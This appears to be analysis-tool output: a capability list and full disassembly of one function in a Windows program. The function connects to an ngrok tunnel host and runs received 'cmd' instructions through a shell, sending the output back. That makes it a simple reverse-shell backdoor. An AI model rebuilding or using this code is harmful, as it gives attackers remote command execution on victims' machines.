Function at 0x1400011c0
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa30]
sub rsp, 0xb30
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xa20], rax
xor r15d, r15d
mov r14d, r15d
mov dword [rsp + 0x20], r15d
mov ecx, 0x202
lea rdx, [rbp - 0x40]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, eax
test eax, eax
je 0x14000124f
lea rdx, str.WSAStartup_failed:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001b60
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x140001d30]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea eax, [r15 + 1]
jmp 0x140001a31
mov dword [rbp - 0x70], r15d
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
mov dword [rbp - 0x6c], 2
mov dword [rbp - 0x68], 1
mov dword [rbp - 0x64], 6
lea r9, [rsp + 0x48]
lea r8, [rbp - 0x70]
lea rdx, str.16740
lea rcx, str.7.tcp.eu.ngrok.io
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x1400012e0
lea rdx, str.Getaddrinfo_failed:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001b60
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x140001d30]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x140001a31
mov rcx, qword [rsp + 0x48]
mov r8d, dword [rcx + 0xc]
mov edx, dword [rcx + 8]
mov ecx, dword [rcx + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001350
lea rdx, str.Socket_creation_failed:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001b60
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x140001d30]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x140001a31
mov rdx, qword [rsp + 0x48]
mov r8d, dword [rdx + 0x10]
mov rdx, qword [rdx + 0x20]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1400013ad
lea rdx, str.Connect_failed:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001b60
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x140001d30]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x140001335
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
lea rdx, str.Connected_to_server_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001b60
lea rdx, [0x140001d30]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x620]
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x220]
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
mov r8d, 0x400
lea rdx, [rbp + 0x620]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x1400019bd
lea r12, [0x140004558]
movabs r13, 0x842108421084211
nop word [rax + rax]
mov ecx, eax
cmp rcx, 0x400
jae 0x140001a61
mov byte [rbp + rcx + 0x620], 0
mov rcx, r15
lea rdx, [rbp + 0x620]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r12 + rcx - 1]
jne 0x14000147a
cmp rcx, 5
jne 0x140001461
jmp 0x140001a20
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
lea rax, [rbp + 0x620]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400014a0
lea rdx, [rbp + 0x620]
lea rcx, [rsp + 0x50]
call fcn.140001d70
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x40], r15
mov r8d, 3
cmp qword [rsp + 0x60], r8
cmovb r8, qword [rsp + 0x60]
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x28]
call fcn.140001d70
or r14d, 1
lea rax, [rsp + 0x28]
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
seta r8b
mov rcx, qword [rsp + 0x28]
cmova rax, rcx
cmp qword [rsp + 0x38], 3
jne 0x140001544
cmp byte [rax], 0x63
jne 0x140001537
cmp byte [rax + 1], 0x6d
jne 0x140001537
cmp byte [rax + 2], 0x64
jne 0x140001537
mov eax, r15d
jmp 0x14000153c
sbb eax, eax
or eax, 1
test eax, eax
jne 0x140001544
mov bl, 1
jmp 0x140001546
xor bl, bl
test r8b, r8b
je 0x140001578
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001573
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400019d4
call fcn.1400024b0
test bl, bl
je 0x14000176e
lea rdx, str.Odebrano_komende:_cmd_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001b60
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x170], r15
mov qword [rbp + 0x178], r15
mov rax, qword [rsp + 0x60]
cmp rax, 4
jb 0x140001a67
add rax, 0xfffffffffffffffc
mov r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
add rdx, 4
lea rcx, [rbp + 0x160]
call fcn.140001d70
or r14d, 2
lea rcx, [rbp + 0x160]
cmp qword [rbp + 0x178], 0xf
cmova rcx, qword [rbp + 0x160]
lea rdx, [0x140004460]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov rbx, rax
test rax, rax
jne 0x14000164c
movsd xmm0, qword [str.popen_failed_]
movsd qword [rbp + 0x220], xmm0
mov eax, dword [0x140004470]
mov dword [rbp + 0x228], eax
movzx eax, word [0x140004474]
mov word [rbp + 0x22c], ax
jmp 0x1400016f8
mov byte [rbp + 0x220], 0
mov r8, rbx
mov edx, 0x80
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
je 0x1400016ef
lea rax, [rbp + 0x220]
dec rax
nop dword [rax + rax]
lea rax, [rax + 1]
cmp byte [rax], 0
jne 0x140001680
lea r8, [rbp + 0x1a0]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [r8 + rdx]
mov byte [rax + rdx], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400016a0
lea rcx, [rbp + 0x220]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x1400016c0
sub rax, 0xffffffffffffff80
cmp rax, 0x3ff
ja 0x1400016ef
mov r8, rbx
mov edx, 0x80
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
jne 0x140001671
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
lea rax, [rbp + 0x220]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140001706
xor r9d, r9d
lea rdx, [rbp + 0x220]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_send]
mov rdx, qword [rbp + 0x178]
cmp rdx, 0xf
jbe 0x140001764
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000175f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400019db
call fcn.1400024b0
mov rdi, qword [rsp + 0x68]
jmp 0x140001965
lea rax, [rsp + 0x50]
mov rdi, qword [rsp + 0x68]
cmp rdi, 0xf
cmova rax, qword [rsp + 0x50]
cmp qword [rsp + 0x60], 3
jne 0x140001965
cmp byte [rax], 0x77
jne 0x1400017a4
cmp byte [rax + 1], 0x68
jne 0x1400017a4
cmp byte [rax + 2], 0x6f
jne 0x1400017a4
mov eax, r15d
jmp 0x1400017a9
sbb eax, eax
or eax, 1
test eax, eax
jne 0x140001965
lea rdx, str.Odebrano_komende:_who_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001b60
nop
movups xmm0, xmmword [str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
movups xmmword [rbp + 0x160], xmm0
movups xmm1, xmmword [0x140004488]
movups xmmword [rbp + 0x170], xmm1
movups xmm0, xmmword [0x140004498]
movups xmmword [rbp + 0x180], xmm0
movsd xmm0, qword [0x1400044a8]
movsd qword [rbp + 0x190], xmm0
mov eax, dword [0x1400044b0]
mov dword [rbp + 0x198], eax
movzx eax, word [0x1400044b4]
mov word [rbp + 0x19c], ax
movzx eax, byte [0x1400044b6]
mov byte [rbp + 0x19e], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], recv
mov byte [rsp + 0x70], 0
or r14d, 4
mov dword [rsp + 0x20], r14d
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov ebx, 0xa
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, r13
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 5
imul rax, rax, 0x3e
sub rcx, rax
movzx r9d, byte [rbp + rcx + 0x160]
mov rcx, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x78]
cmp rcx, rdx
jae 0x1400018be
lea rax, [rcx + 1]
mov qword [rbp - 0x80], rax
lea rax, [rsp + 0x70]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x70]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400018c8
lea rcx, [rsp + 0x70]
call fcn.140001e70
sub rbx, 1
jne 0x140001860
xor r9d, r9d
lea r8d, [rbx + 6]
lea rdx, str.polska
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_send]
lea rdx, str.Sent_random_text:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001b60
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rdx, qword [rsp + 0x70]
mov r8, qword [rbp - 0x80]
mov rcx, rax
call fcn.140001fe0
lea rdx, [0x140001d30]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
and r14d, 0xfffffffb
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140001965
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000195f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400019e2
call fcn.1400024b0
nop
cmp rdi, 0xf
jbe 0x14000199a
lea rdx, [rdi + 1]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001995
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400019e9
call fcn.1400024b0
xor r9d, r9d
mov r8d, 0x400
lea rdx, [rbp + 0x620]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x140001440
test eax, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
jne 0x1400019f0
lea rdx, str.Connection_closed_by_server.
call fcn.140001b60
jmp 0x140001a10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rdx, str.Receive_failed:
call fcn.140001b60
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x140001d30]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov rcx, qword [rbp + 0xa20]
xor rcx, rsp
call fcn.1400021b0
lea r11, [rsp + 0xb30]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400022d8
nop
call fcn.140001b40
nop
int3